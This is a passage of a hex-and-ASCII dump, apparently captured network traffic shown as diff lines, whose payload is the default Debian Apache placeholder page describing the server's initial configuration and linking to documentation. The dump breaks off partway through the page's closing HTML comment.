+	0x0170:  2144 4f43 5459 5045 2048 544d 4c20 5055  !DOCTYPE.HTML.PU
+	0x0180:  424c 4943 2022 2d2f 2f57 3343 2f2f 4454  BLIC."-//W3C//DT
+	0x0190:  4420 4854 4d4c 2034 2e30 3120 5472 616e  D.HTML.4.01.Tran
+	0x01a0:  7369 7469 6f6e 616c 2f2f 454e 223e 0a3c  sitional//EN">.<
+	0x01b0:  4854 4d4c 3e0a 3c48 4541 443e 0a20 2020  HTML>.<HEAD>....
+	0x01c0:  3c4d 4554 4120 4854 5450 2d45 5155 4956  <META.HTTP-EQUIV
+	0x01d0:  3d22 436f 6e74 656e 742d 5479 7065 2220  ="Content-Type".
+	0x01e0:  434f 4e54 454e 543d 2274 6578 742f 6874  CONTENT="text/ht
+	0x01f0:  6d6c 3b20 6368 6172 7365 743d 6973 6f2d  ml;.charset=iso-
+	0x0200:  3838 3539 2d31 223e 0a20 2020 3c4d 4554  8859-1">....<MET
+	0x0210:  4120 4e41 4d45 3d22 4465 7363 7269 7074  A.NAME="Descript
+	0x0220:  696f 6e22 2043 4f4e 5445 4e54 3d22 5468  ion".CONTENT="Th
+	0x0230:  6520 696e 6974 6961 6c20 696e 7374 616c  e.initial.instal
+	0x0240:  6c61 7469 6f6e 206f 6620 4465 6269 616e  lation.of.Debian
+	0x0250:  2061 7061 6368 652e 223e 0a20 2020 3c54  .apache.">....<T
+	0x0260:  4954 4c45 3e50 6c61 6365 686f 6c64 6572  ITLE>Placeholder
+	0x0270:  2070 6167 653c 2f54 4954 4c45 3e0a 3c2f  .page</TITLE>.</
+	0x0280:  4845 4144 3e0a 3c42 4f44 5920 5445 5854  HEAD>.<BODY.TEXT
+	0x0290:  3d22 2330 3030 3030 3022 2042 4743 4f4c  ="#000000".BGCOL
+	0x02a0:  4f52 3d22 2346 4646 4646 4622 204c 494e  OR="#FFFFFF".LIN
+	0x02b0:  4b3d 2223 3030 3030 4546 2220 564c 494e  K="#0000EF".VLIN
+	0x02c0:  4b3d 2223 3535 3138 3841 2220 414c 494e  K="#55188A".ALIN
+	0x02d0:  4b3d 2223 4646 3030 3030 223e 0a0a 3c48  K="#FF0000">..<H
+	0x02e0:  313e 506c 6163 6568 6f6c 6465 7220 7061  1>Placeholder.pa
+	0x02f0:  6765 3c2f 4831 3e0a 3c48 323e 4966 2079  ge</H1>.<H2>If.y
+	0x0300:  6f75 2061 7265 206a 7573 7420 6272 6f77  ou.are.just.brow
+	0x0310:  7369 6e67 2074 6865 2077 6562 3c2f 6832  sing.the.web</h2
+	0x0320:  3e0a 0a3c 503e 5468 6520 6f77 6e65 7220  >..<P>The.owner.
+	0x0330:  6f66 2074 6869 7320 7765 6220 7369 7465  of.this.web.site
+	0x0340:  2068 6173 206e 6f74 2070 7574 2075 7020  .has.not.put.up.
+	0x0350:  616e 7920 7765 6220 7061 6765 7320 7965  any.web.pages.ye
+	0x0360:  742e 0a50 6c65 6173 6520 636f 6d65 2062  t..Please.come.b
+	0x0370:  6163 6b20 6c61 7465 722e 3c2f 503e 0a0a  ack.later.</P>..
+	0x0380:  3c50 3e3c 534d 414c 4c3e 3c43 4954 453e  <P><SMALL><CITE>
+	0x0390:  4d6f 7665 2061 6c6f 6e67 2c20 6e6f 7468  Move.along,.noth
+	0x03a0:  696e 6720 746f 2073 6565 2068 6572 652e  ing.to.see.here.
+	0x03b0:  2e2e 3c2f 4349 5445 3e20 3a2d 293c 2f53  ..</CITE>.:-)</S
+	0x03c0:  4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832 3e49  MALL></P>..<H2>I
+	0x03d0:  6620 796f 7520 6172 6520 7472 7969 6e67  f.you.are.trying
+	0x03e0:  2074 6f20 6c6f 6361 7465 2074 6865 2061  .to.locate.the.a
+	0x03f0:  646d 696e 6973 7472 6174 6f72 206f 6620  dministrator.of.
+	0x0400:  7468 6973 206d 6163 6869 6e65 3c2f 4832  this.machine</H2
+	0x0410:  3e0a 0a3c 503e 4966 2079 6f75 2077 616e  >..<P>If.you.wan
+	0x0420:  7420 746f 2072 6570 6f72 7420 736f 6d65  t.to.report.some
+	0x0430:  7468 696e 6720 6162 6f75 7420 7468 6973  thing.about.this
+	0x0440:  2068 6f73 7427 7320 6265 6861 7669 6f72  .host's.behavior
+	0x0450:  2c20 706c 6561 7365 0a63 6f6e 7461 6374  ,.please.contact
+	0x0460:  2074 6865 2049 6e74 6572 6e65 7420 5365  .the.Internet.Se
+	0x0470:  7276 6963 6520 5072 6f76 6964 6572 2028  rvice.Provider.(
+	0x0480:  4953 5029 2069 6e76 6f6c 7665 6420 6469  ISP).involved.di
+	0x0490:  7265 6374 6c79 2e3c 2f50 3e0a 0a3c 503e  rectly.</P>..<P>
+	0x04a0:  5365 6520 7468 6520 3c41 2068 7265 663d  See.the.<A.href=
+	0x04b0:  2268 7474 703a 2f2f 7777 772e 6162 7573  "http://www.abus
+	0x04c0:  652e 6e65 742f 223e 4e65 7477 6f72 6b20  e.net/">Network.
+	0x04d0:  4162 7573 650a 436c 6561 7269 6e67 686f  Abuse.Clearingho
+	0x04e0:  7573 653c 2f41 3e20 666f 7220 686f 7720  use</A>.for.how.
+	0x04f0:  746f 2064 6f20 7468 6973 2e3c 2f50 3e0a  to.do.this.</P>.
+	0x0500:  0a3c 4832 3e49 6620 796f 7520 6172 6520  .<H2>If.you.are.
+	0x0510:  7468 6520 6164 6d69 6e69 7374 7261 746f  the.administrato
+	0x0520:  7220 6f66 2074 6869 7320 6d61 6368 696e  r.of.this.machin
+	0x0530:  653c 2f48 323e 0a0a 3c50 3e54 6865 2069  e</H2>..<P>The.i
+	0x0540:  6e69 7469 616c 2069 6e73 7461 6c6c 6174  nitial.installat
+	0x0550:  696f 6e20 6f66 203c 4120 6872 6566 3d22  ion.of.<A.href="
+	0x0560:  6874 7470 3a2f 2f77 7777 2e64 6562 6961  http://www.debia
+	0x0570:  6e2e 6f72 672f 223e 4465 6269 616e 2773  n.org/">Debian's
+	0x0580:  0a61 7061 6368 653c 2f41 3e20 7765 6220  .apache</A>.web.
+	0x0590:  7365 7276 6572 2070 6163 6b61 6765 2077  server.package.w
+	0x05a0:  6173 2073 7563 6365 7373 6675 6c2e 3c2f  as.successful.</
+	0x05b0:  503e 0a0a 3c50 3e3c 5354 524f 4e47 3e59  P>..<P><STRONG>Y
+	0x05c0:  6f75 2073 686f 756c 6420 7265 706c 6163  ou.should.replac
+	0x05d0:  6520 7468 6973 2070 6167 6520 7769 7468  e.this.page.with
+	0x05e0:  2079 6f75 7220 6f77 6e20 7765 6220 7061  .your.own.web.pa
+	0x05f0:  6765 7320 6173 0a73 6f6f 6e20 6173 2070  ges.as.soon.as.p
+	0x0600:  6f73 7369 626c 652e 3c2f 5354 524f 4e47  ossible.</STRONG
+	0x0610:  3e3c 2f50 3e0a 0a3c 503e 556e 6c65 7373  ></P>..<P>Unless
+	0x0620:  2079 6f75 2063 6861 6e67 6564 2069 7473  .you.changed.its
+	0x0630:  2063 6f6e 6669 6775 7261 7469 6f6e 2c20  .configuration,.
+	0x0640:  796f 7572 206e 6577 2073 6572 7665 7220  your.new.server.
+	0x0650:  6973 2063 6f6e 6669 6775 7265 6420 6173  is.configured.as
+	0x0660:  2066 6f6c 6c6f 7773 3a0a 3c55 4c3e 0a3c  .follows:.<UL>.<
+	0x0670:  4c49 3e0a 436f 6e66 6967 7572 6174 696f  LI>.Configuratio
+	0x0680:  6e20 6669 6c65 7320 6361 6e20 6265 2066  n.files.can.be.f
+	0x0690:  6f75 6e64 2069 6e20 3c54 543e 2f65 7463  ound.in.<TT>/etc
+	0x06a0:  2f61 7061 6368 653c 2f54 543e 2e3c 2f4c  /apache</TT>.</L
+	0x06b0:  493e 0a0a 3c4c 493e 0a54 6865 203c 5454  I>..<LI>.The.<TT
+	0x06c0:  3e44 6f63 756d 656e 7452 6f6f 743c 2f54  >DocumentRoot</T
+	0x06d0:  543e 2c20 7768 6963 6820 6973 2074 6865  T>,.which.is.the
+	0x06e0:  2064 6972 6563 746f 7279 2075 6e64 6572  .directory.under
+	0x06f0:  2077 6869 6368 2061 6c6c 2079 6f75 720a  .which.all.your.
+	0x0700:  4854 4d4c 2066 696c 6573 2073 686f 756c  HTML.files.shoul
+	0x0710:  6420 6578 6973 742c 2069 7320 7365 7420  d.exist,.is.set.
+	0x0720:  746f 203c 5454 3e2f 7661 722f 7777 773c  to.<TT>/var/www<
+	0x0730:  2f54 543e 2e3c 2f4c 493e 0a0a 3c4c 493e  /TT>.</LI>..<LI>
+	0x0740:  0a43 4749 2073 6372 6970 7473 2061 7265  .CGI.scripts.are
+	0x0750:  206c 6f6f 6b65 6420 666f 7220 696e 203c  .looked.for.in.<
+	0x0760:  5454 3e2f 7573 722f 6c69 622f 6367 692d  TT>/usr/lib/cgi-
+	0x0770:  6269 6e3c 2f54 543e 2c20 7768 6963 6820  bin</TT>,.which.
+	0x0780:  6973 2077 6865 7265 0a44 6562 6961 6e20  is.where.Debian.
+	0x0790:  7061 636b 6167 6573 2077 696c 6c20 706c  packages.will.pl
+	0x07a0:  6163 6520 7468 6569 7220 7363 7269 7074  ace.their.script
+	0x07b0:  732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 4c6f  s.</LI>..<LI>.Lo
+	0x07c0:  6720 6669 6c65 7320 6172 6520 706c 6163  g.files.are.plac
+	0x07d0:  6564 2069 6e20 3c54 543e 2f76 6172 2f6c  ed.in.<TT>/var/l
+	0x07e0:  6f67 2f61 7061 6368 653c 2f54 543e 2c20  og/apache</TT>,.
+	0x07f0:  616e 6420 7769 6c6c 2062 6520 726f 7461  and.will.be.rota
+	0x0800:  7465 640a 7765 656b 6c79 2e20 2054 6865  ted.weekly...The
+	0x0810:  2066 7265 7175 656e 6379 206f 6620 726f  .frequency.of.ro
+	0x0820:  7461 7469 6f6e 2063 616e 2062 6520 6561  tation.can.be.ea
+	0x0830:  7369 6c79 2063 6861 6e67 6564 2062 7920  sily.changed.by.
+	0x0840:  6564 6974 696e 670a 3c54 543e 2f65 7463  editing.<TT>/etc
+	0x0850:  2f6c 6f67 726f 7461 7465 2e64 2f61 7061  /logrotate.d/apa
+	0x0860:  6368 653c 2f54 543e 2e3c 2f4c 493e 0a0a  che</TT>.</LI>..
+	0x0870:  3c4c 493e 0a54 6865 2064 6566 6175 6c74  <LI>.The.default
+	0x0880:  2064 6972 6563 746f 7279 2069 6e64 6578  .directory.index
+	0x0890:  2069 7320 3c54 543e 696e 6465 782e 6874  .is.<TT>index.ht
+	0x08a0:  6d6c 3c2f 5454 3e2c 206d 6561 6e69 6e67  ml</TT>,.meaning
+	0x08b0:  2074 6861 7420 7265 7175 6573 7473 0a66  .that.requests.f
+	0x08c0:  6f72 2061 2064 6972 6563 746f 7279 203c  or.a.directory.<
+	0x08d0:  5454 3e2f 666f 6f2f 6261 722f 3c2f 5454  TT>/foo/bar/</TT
+	0x08e0:  3e20 7769 6c6c 2067 6976 6520 7468 6520  >.will.give.the.
+	0x08f0:  636f 6e74 656e 7473 206f 6620 7468 6520  contents.of.the.
+	0x0900:  6669 6c65 203c 5454 3e2f 7661 722f 7777  file.<TT>/var/ww
+	0x0910:  772f 666f 6f2f 6261 722f 696e 6465 782e  w/foo/bar/index.
+	0x0920:  6874 6d6c 3c2f 5454 3e0a 6966 2069 7420  html</TT>.if.it.
+	0x0930:  6578 6973 7473 2028 6173 7375 6d69 6e67  exists.(assuming
+	0x0940:  2074 6861 7420 3c54 543e 2f76 6172 2f77  .that.<TT>/var/w
+	0x0950:  7777 3c2f 5454 3e20 6973 2079 6f75 7220  ww</TT>.is.your.
+	0x0960:  3c54 543e 446f 6375 6d65 6e74 526f 6f74  <TT>DocumentRoot
+	0x0970:  3c2f 5454 3e29 2e3c 2f4c 493e 0a0a 3c4c  </TT>).</LI>..<L
+	0x0980:  493e 0a55 7365 7220 6469 7265 6374 6f72  I>.User.director
+	0x0990:  6965 7320 6172 6520 656e 6162 6c65 642c  ies.are.enabled,
+	0x09a0:  2061 6e64 2075 7365 7220 646f 6375 6d65  .and.user.docume
+	0x09b0:  6e74 7320 7769 6c6c 2062 6520 6c6f 6f6b  nts.will.be.look
+	0x09c0:  6564 2066 6f72 0a69 6e20 7468 6520 3c54  ed.for.in.the.<T
+	0x09d0:  543e 7075 626c 6963 5f68 746d 6c3c 2f54  T>public_html</T
+	0x09e0:  543e 2064 6972 6563 746f 7279 206f 6620  T>.directory.of.
+	0x09f0:  7468 6520 7573 6572 7327 2068 6f6d 6573  the.users'.homes
+	0x0a00:  2e20 2054 6865 7365 2064 6972 730a 7368  ...These.dirs.sh
+	0x0a10:  6f75 6c64 2062 6520 756e 6465 7220 3c54  ould.be.under.<T
+	0x0a20:  543e 2f68 6f6d 653c 2f54 543e 2c20 616e  T>/home</TT>,.an
+	0x0a30:  6420 7573 6572 7320 7769 6c6c 206e 6f74  d.users.will.not
+	0x0a40:  2062 6520 6162 6c65 2074 6f20 7379 6d6c  .be.able.to.syml
+	0x0a50:  696e 6b0a 746f 2066 696c 6573 2074 6865  ink.to.files.the
+	0x0a60:  7920 646f 6e27 7420 6f77 6e2e 3c2f 4c49  y.don't.own.</LI
+	0x0a70:  3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074 6865  >..</UL>.All.the
+	0x0a80:  2073 7461 6e64 6172 6420 6170 6163 6865  .standard.apache
+	0x0a90:  206d 6f64 756c 6573 2061 7265 2061 7661  .modules.are.ava
+	0x0aa0:  696c 6162 6c65 2077 6974 6820 7468 6973  ilable.with.this
+	0x0ab0:  2072 656c 6561 7365 2061 6e64 2061 7265  .release.and.are
+	0x0ac0:  0a6e 6f77 206d 616e 6167 6564 2077 6974  .now.managed.wit
+	0x0ad0:  6820 6465 6263 6f6e 662e 2020 5479 7065  h.debconf...Type
+	0x0ae0:  203c 5454 3e64 706b 672d 7265 636f 6e66  .<TT>dpkg-reconf
+	0x0af0:  6967 7572 6520 6170 6163 6865 3c2f 5454  igure.apache</TT
+	0x0b00:  3e20 746f 0a73 656c 6563 7420 7768 6963  >.to.select.whic
+	0x0b10:  6820 6d6f 6475 6c65 7320 796f 7520 7761  h.modules.you.wa
+	0x0b20:  6e74 2065 6e61 626c 6564 2e20 204d 616e  nt.enabled...Man
+	0x0b30:  7920 6f74 6865 7220 6d6f 6475 6c65 7320  y.other.modules.
+	0x0b40:  6172 6520 6176 6169 6c61 626c 650a 7468  are.available.th
+	0x0b50:  726f 7567 6820 7468 6520 4465 6269 616e  rough.the.Debian
+	0x0b60:  2070 6163 6b61 6765 2073 7973 7465 6d20  .package.system.
+	0x0b70:  7769 7468 2074 6865 206e 616d 6573 203c  with.the.names.<
+	0x0b80:  5454 3e6c 6962 6170 6163 6865 2d6d 6f64  TT>libapache-mod
+	0x0b90:  2d2a 3c2f 5454 3e2e 0a49 6620 796f 7520  -*</TT>..If.you.
+	0x0ba0:  6e65 6564 2074 6f20 636f 6d70 696c 6520  need.to.compile.
+	0x0bb0:  6120 6d6f 6475 6c65 2079 6f75 7273 656c  a.module.yoursel
+	0x0bc0:  662c 2079 6f75 2077 696c 6c20 6e65 6564  f,.you.will.need
+	0x0bd0:  2074 6f20 696e 7374 616c 6c20 7468 650a  .to.install.the.
+	0x0be0:  3c54 543e 6170 6163 6865 2d64 6576 3c2f  <TT>apache-dev</
+	0x0bf0:  5454 3e20 7061 636b 6167 652e 0a0a 3c50  TT>.package...<P
+	0x0c00:  3e4d 6f72 6520 646f 6375 6d65 6e74 6174  >More.documentat
+	0x0c10:  696f 6e20 6f6e 2041 7061 6368 6520 6361  ion.on.Apache.ca
+	0x0c20:  6e20 6265 2066 6f75 6e64 206f 6e3a 0a3c  n.be.found.on:.<
+	0x0c30:  554c 3e0a 3c4c 493e 0a54 6865 203c 4120  UL>.<LI>.The.<A.
+	0x0c40:  4852 4546 3d22 2f64 6f63 2f61 7061 6368  HREF="/doc/apach
+	0x0c50:  652d 646f 632f 6d61 6e75 616c 2f22 3e41  e-doc/manual/">A
+	0x0c60:  7061 6368 6520 646f 6375 6d65 6e74 6174  pache.documentat
+	0x0c70:  696f 6e3c 2f41 3e20 7374 6f72 6564 206f  ion</A>.stored.o
+	0x0c80:  6e20 796f 7572 2073 6572 7665 722e 3c2f  n.your.server.</
+	0x0c90:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41  LI>..<LI>.The.<A
+	0x0ca0:  2048 5245 463d 2268 7474 703a 2f2f 7777  .HREF="http://ww
+	0x0cb0:  772e 6170 6163 6865 2e6f 7267 2f22 3e41  w.apache.org/">A
+	0x0cc0:  7061 6368 6520 5072 6f6a 6563 743c 2f41  pache.Project</A
+	0x0cd0:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49  >.home.site.</LI
+	0x0ce0:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048  >..<LI>.The.<A.H
+	0x0cf0:  5245 463d 2268 7474 703a 2f2f 7777 772e  REF="http://www.
+	0x0d00:  6170 6163 6865 2d73 736c 2e6f 7267 2f22  apache-ssl.org/"
+	0x0d10:  3e41 7061 6368 652d 5353 4c3c 2f41 3e20  >Apache-SSL</A>.
+	0x0d20:  686f 6d65 2073 6974 652e 3c2f 4c49 3e0a  home.site.</LI>.
+	0x0d30:  0a3c 4c49 3e0a 5468 6520 3c41 2048 5245  .<LI>.The.<A.HRE
+	0x0d40:  463d 2268 7474 703a 2f2f 7065 726c 2e61  F="http://perl.a
+	0x0d50:  7061 6368 652e 6f72 672f 223e 6d6f 6420  pache.org/">mod.
+	0x0d60:  7065 726c 3c2f 413e 2068 6f6d 6520 7369  perl</A>.home.si
+	0x0d70:  7465 2e3c 2f4c 493e 0a0a 3c4c 493e 0a54  te.</LI>..<LI>.T
+	0x0d80:  6865 203c 4120 4852 4546 3d22 6874 7470  he.<A.HREF="http
+	0x0d90:  3a2f 2f77 7777 2e61 7061 6368 6577 6565  ://www.apachewee
+	0x0da0:  6b2e 636f 6d2f 223e 4170 6163 6865 5765  k.com/">ApacheWe
+	0x0db0:  656b 3c2f 413e 206e 6577 736c 6574 7465  ek</A>.newslette
+	0x0dc0:  722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468  r.</LI>..<LI>.Th
+	0x0dd0:  6520 3c41 2048 5245 463d 2268 7474 703a  e.<A.HREF="http:
+	0x0de0:  2f2f 7777 772e 6465 6269 616e 2e6f 7267  //www.debian.org
+	0x0df0:  2f64 6f63 2f22 3e44 6562 6961 6e20 5072  /doc/">Debian.Pr
+	0x0e00:  6f6a 6563 740a 446f 6375 6d65 6e74 6174  oject.Documentat
+	0x0e10:  696f 6e3c 2f41 3e20 7768 6963 6820 636f  ion</A>.which.co
+	0x0e20:  6e74 6169 6e73 2048 4f57 544f 732c 2046  ntains.HOWTOs,.F
+	0x0e30:  4151 732c 2061 6e64 2073 6f66 7477 6172  AQs,.and.softwar
+	0x0e40:  6520 7570 6461 7465 732e 3c2f 4c49 3e0a  e.updates.</LI>.
+	0x0e50:  3c2f 554c 3e0a 0a3c 503e 596f 7520 6361  </UL>..<P>You.ca
+	0x0e60:  6e20 616c 736f 2063 6f6e 7375 6c74 2074  n.also.consult.t
+	0x0e70:  6865 206c 6973 7420 6f66 203c 4120 4852  he.list.of.<A.HR
+	0x0e80:  4546 3d22 6874 7470 3a2f 2f77 7777 2e62  EF="http://www.b
+	0x0e90:  6f75 7465 6c6c 2e63 6f6d 2f66 6171 2f22  outell.com/faq/"
+	0x0ea0:  3e57 6f72 6c64 0a57 6964 6520 5765 6220  >World.Wide.Web.
+	0x0eb0:  4672 6571 7565 6e74 6c79 2041 736b 6564  Frequently.Asked
+	0x0ec0:  2051 7565 7374 696f 6e73 3c2f 413e 2066  .Questions</A>.f
+	0x0ed0:  6f72 2069 6e66 6f72 6d61 7469 6f6e 2e0a  or.information..
+	0x0ee0:  0a3c 4832 3e4c 6574 206f 7468 6572 2070  .<H2>Let.other.p
+	0x0ef0:  656f 706c 6520 6b6e 6f77 2061 626f 7574  eople.know.about
+	0x0f00:  2074 6869 7320 7365 7276 6572 3c2f 4832  .this.server</H2
+	0x0f10:  3e0a 0a3c 4120 4852 4546 3d22 6874 7470  >..<A.HREF="http
+	0x0f20:  3a2f 2f6e 6574 6372 6166 742e 636f 6d2f  ://netcraft.com/
+	0x0f30:  223e 4e65 7463 7261 6674 3c2f 413e 2070  ">Netcraft</A>.p
+	0x0f40:  726f 7669 6465 7320 616e 2069 6e74 6572  rovides.an.inter
+	0x0f50:  6573 7469 6e67 2066 7265 650a 7365 7276  esting.free.serv
+	0x0f60:  6963 6520 666f 7220 7765 6220 7369 7465  ice.for.web.site
+	0x0f70:  206d 6f6e 6974 6f72 696e 6720 616e 6420  .monitoring.and.
+	0x0f80:  7374 6174 6973 7469 6320 636f 6c6c 6563  statistic.collec
+	0x0f90:  7469 6f6e 2e0a 596f 7520 6361 6e20 6c65  tion..You.can.le
+	0x0fa0:  7420 7468 656d 206b 6e6f 7720 6162 6f75  t.them.know.abou
+	0x0fb0:  7420 796f 7572 2073 6572 7665 7220 7573  t.your.server.us
+	0x0fc0:  696e 6720 7468 6569 720a 3c41 2048 5245  ing.their.<A.HRE
+	0x0fd0:  463d 2268 7474 703a 2f2f 7570 7469 6d65  F="http://uptime
+	0x0fe0:  2e6e 6574 6372 6166 742e 636f 6d2f 223e  .netcraft.com/">
+	0x0ff0:  696e 7465 7266 6163 653c 2f41 3e2e 0a45  interface</A>..E
+	0x1000:  6e61 626c 696e 6720 7468 6520 6d6f 6e69  nabling.the.moni
+	0x1010:  746f 7269 6e67 206f 6620 796f 7572 2073  toring.of.your.s
+	0x1020:  6572 7665 7220 7769 6c6c 2070 726f 7669  erver.will.provi
+	0x1030:  6465 2061 2062 6574 7465 7220 676c 6f62  de.a.better.glob
+	0x1040:  616c 206f 7665 7276 6965 770a 6f66 2077  al.overview.of.w
+	0x1050:  686f 2069 7320 7573 696e 6720 7768 6174  ho.is.using.what
+	0x1060:  2061 6e64 2077 6865 7265 2c20 616e 6420  .and.where,.and.
+	0x1070:  6974 2077 6f75 6c64 2067 6976 6520 4465  it.would.give.De
+	0x1080:  6269 616e 2061 2062 6574 7465 720a 6f76  bian.a.better.ov
+	0x1090:  6572 7669 6577 206f 6620 7468 6520 6170  erview.of.the.ap
+	0x10a0:  6163 6865 2070 6163 6b61 6765 2075 7361  ache.package.usa
+	0x10b0:  6765 2e0a 0a3c 4832 3e41 626f 7574 2074  ge...<H2>About.t
+	0x10c0:  6869 7320 7061 6765 3c2f 4832 3e0a 0a3c  his.page</H2>..<
+	0x10d0:  494d 4720 414c 4947 4e3d 2272 6967 6874  IMG.ALIGN="right
+	0x10e0:  2220 414c 543d 2222 2048 4549 4748 543d  ".ALT="".HEIGHT=
+	0x10f0:  2232 3437 2220 5749 4454 483d 2232 3738  "247".WIDTH="278
+	0x1100:  2220 5352 433d 2269 636f 6e73 2f6a 6865  ".SRC="icons/jhe
+	0x1110:  3036 312e 706e 6722 3e0a 0a3c 503e 5468  061.png">..<P>Th
+	0x1120:  6973 2069 7320 6120 706c 6163 6568 6f6c  is.is.a.placehol
+	0x1130:  6465 7220 7061 6765 2069 6e73 7461 6c6c  der.page.install
+	0x1140:  6564 2062 7920 7468 6520 3c41 0a48 5245  ed.by.the.<A.HRE
+	0x1150:  463d 2268 7474 703a 2f2f 7777 772e 6465  F="http://www.de
+	0x1160:  6269 616e 2e6f 7267 2f22 3e44 6562 6961  bian.org/">Debia
+	0x1170:  6e3c 2f41 3e0a 7265 6c65 6173 6520 6f66  n</A>.release.of
+	0x1180:  2074 6865 2061 7061 6368 6520 5765 6220  .the.apache.Web.
+	0x1190:  7365 7276 6572 2070 6163 6b61 6765 2e0a  server.package..
+	0x11a0:  0a3c 503e 5468 6973 2063 6f6d 7075 7465  .<P>This.compute
+	0x11b0:  7220 6861 7320 696e 7374 616c 6c65 6420  r.has.installed.
+	0x11c0:  7468 6520 4465 6269 616e 2047 4e55 2f4c  the.Debian.GNU/L
+	0x11d0:  696e 7578 206f 7065 7261 7469 6e67 2073  inux.operating.s
+	0x11e0:  7973 7465 6d2c 0a62 7574 2069 7420 6861  ystem,.but.it.ha
+	0x11f0:  7320 3c73 7472 6f6e 673e 6e6f 7468 696e  s.<strong>nothin
+	0x1200:  6720 746f 2064 6f20 7769 7468 2074 6865  g.to.do.with.the
+	0x1210:  2044 6562 6961 6e0a 5072 6f6a 6563 743c  .Debian.Project<
+	0x1220:  2f73 7472 6f6e 673e 2e20 506c 6561 7365  /strong>..Please
+	0x1230:  2064 6f20 3c73 7472 6f6e 673e 6e6f 743c  .do.<strong>not<
+	0x1240:  2f73 7472 6f6e 673e 2063 6f6e 7461 6374  /strong>.contact
+	0x1250:  2074 6865 2044 6562 6961 6e0a 5072 6f6a  .the.Debian.Proj
+	0x1260:  6563 7420 6162 6f75 7420 6974 2e3c 2f50  ect.about.it.</P
+	0x1270:  3e0a 0a3c 503e 4966 2079 6f75 2066 696e  >..<P>If.you.fin
+	0x1280:  6420 6120 6275 6720 696e 2074 6869 7320  d.a.bug.in.this.
+	0x1290:  6170 6163 6865 2070 6163 6b61 6765 2c20  apache.package,.
+	0x12a0:  6f72 2069 6e20 4170 6163 6865 2069 7473  or.in.Apache.its
+	0x12b0:  656c 662c 0a70 6c65 6173 6520 6669 6c65  elf,.please.file
+	0x12c0:  2061 2062 7567 2072 6570 6f72 7420 6f6e  .a.bug.report.on
+	0x12d0:  2069 742e 2020 496e 7374 7275 6374 696f  .it...Instructio
+	0x12e0:  6e73 206f 6e20 646f 696e 6720 7468 6973  ns.on.doing.this
+	0x12f0:  2c20 616e 6420 7468 650a 6c69 7374 206f  ,.and.the.list.o
+	0x1300:  6620 3c41 2048 5245 463d 2268 7474 703a  f.<A.HREF="http:
+	0x1310:  2f2f 6275 6773 2e64 6562 6961 6e2e 6f72  //bugs.debian.or
+	0x1320:  672f 7372 633a 6170 6163 6865 223e 6b6e  g/src:apache">kn
+	0x1330:  6f77 6e20 6275 6773 3c2f 413e 206f 6620  own.bugs</A>.of.
+	0x1340:  7468 6973 0a70 6163 6b61 6765 2c20 6361  this.package,.ca
+	0x1350:  6e20 6265 2066 6f75 6e64 2069 6e20 7468  n.be.found.in.th
+	0x1360:  6520 0a3c 4120 4852 4546 3d22 6874 7470  e..<A.HREF="http
+	0x1370:  3a2f 2f77 7777 2e64 6562 6961 6e2e 6f72  ://www.debian.or
+	0x1380:  672f 4275 6773 2f52 6570 6f72 7469 6e67  g/Bugs/Reporting
+	0x1390:  223e 4465 6269 616e 2042 7567 2054 7261  ">Debian.Bug.Tra
+	0x13a0:  636b 696e 6720 5379 7374 656d 3c2f 413e  cking.System</A>
+	0x13b0:  2e0a 0a3c 503e 5468 616e 6b73 2066 6f72  ...<P>Thanks.for
+	0x13c0:  2075 7369 6e67 2074 6869 7320 7061 636b  .using.this.pack
+	0x13d0:  6167 652c 2061 6e64 2063 6f6e 6772 6174  age,.and.congrat
+	0x13e0:  756c 6174 696f 6e73 2066 6f72 2079 6f75  ulations.for.you
+	0x13f0:  7220 6368 6f69 6365 206f 660a 6120 4465  r.choice.of.a.De
+	0x1400:  6269 616e 2073 7973 7465 6d21 3c2f 503e  bian.system!</P>
+	0x1410:  0a0a 3c44 4956 2061 6c69 676e 3d22 6365  ..<DIV.align="ce
+	0x1420:  6e74 6572 223e 0a3c 6120 6872 6566 3d22  nter">.<a.href="
+	0x1430:  6874 7470 3a2f 2f77 7777 2e64 6562 6961  http://www.debia
+	0x1440:  6e2e 6f72 672f 223e 0a3c 494d 4720 616c  n.org/">.<IMG.al
+	0x1450:  6967 6e3d 226d 6964 646c 6522 2068 6569  ign="middle".hei
+	0x1460:  6768 743d 2233 3022 2077 6964 7468 3d22  ght="30".width="
+	0x1470:  3235 2220 7372 633d 2269 636f 6e73 2f64  25".src="icons/d
+	0x1480:  6562 6961 6e2f 6f70 656e 6c6f 676f 2d32  ebian/openlogo-2
+	0x1490:  352e 6a70 6722 2061 6c74 3d22 4465 6269  5.jpg".alt="Debi
+	0x14a0:  616e 223e 0a3c 2f61 3e0a 3c61 2068 7265  an">.</a>.<a.hre
+	0x14b0:  663d 2268 7474 703a 2f2f 7777 772e 6170  f="http://www.ap
+	0x14c0:  6163 6865 2e6f 7267 2f22 3e0a 3c49 4d47  ache.org/">.<IMG
+	0x14d0:  2061 6c69 676e 3d22 6d69 6464 6c65 2220  .align="middle".
+	0x14e0:  6865 6967 6874 3d22 3332 2220 7769 6474  height="32".widt
+	0x14f0:  683d 2232 3539 2220 7372 633d 2269 636f  h="259".src="ico
+	0x1500:  6e73 2f61 7061 6368 655f 7062 2e70 6e67  ns/apache_pb.png
+	0x1510:  2220 616c 743d 2241 7061 6368 6522 3e0a  ".alt="Apache">.
+	0x1520:  3c2f 613e 0a3c 2f44 4956 3e0a 0a3c 212d  </a>.</DIV>..<!-
+	0x1530:  2d0a 2020 5468 6973 2070 6167 6520 7761  -...This.page.wa
+	0x1540:  7320 696e 6974 6961 6c6c 7920 6372 6561  s.initially.crea
+	0x1550:  7465 6420 6279 204a 6f68 6e69 6520 496e  ted.by.Johnie.In
+	0x1560:  6772 616d 2028 6874 7470 3a2f 2f6e 6574  gram.(http://net
+	0x1570:  676f 642e 6e65 742f 290a 2020 4974 2077  god.net/)...It.w
+	0x1580:  6173 206c 6174 6572 2065 6469 7465 6420  as.later.edited.
+	0x1590:  6279 204d 6174 7468 6577 2057 696c 636f  by.Matthew.Wilco
+	0x15a0:  7820 616e 6420 4a6f 7369 7020 526f 6469  x.and.Josip.Rodi
+	0x15b0:  6e2e 0a20 204c 6173 7420 6d6f 6469 6669  n....Last.modifi
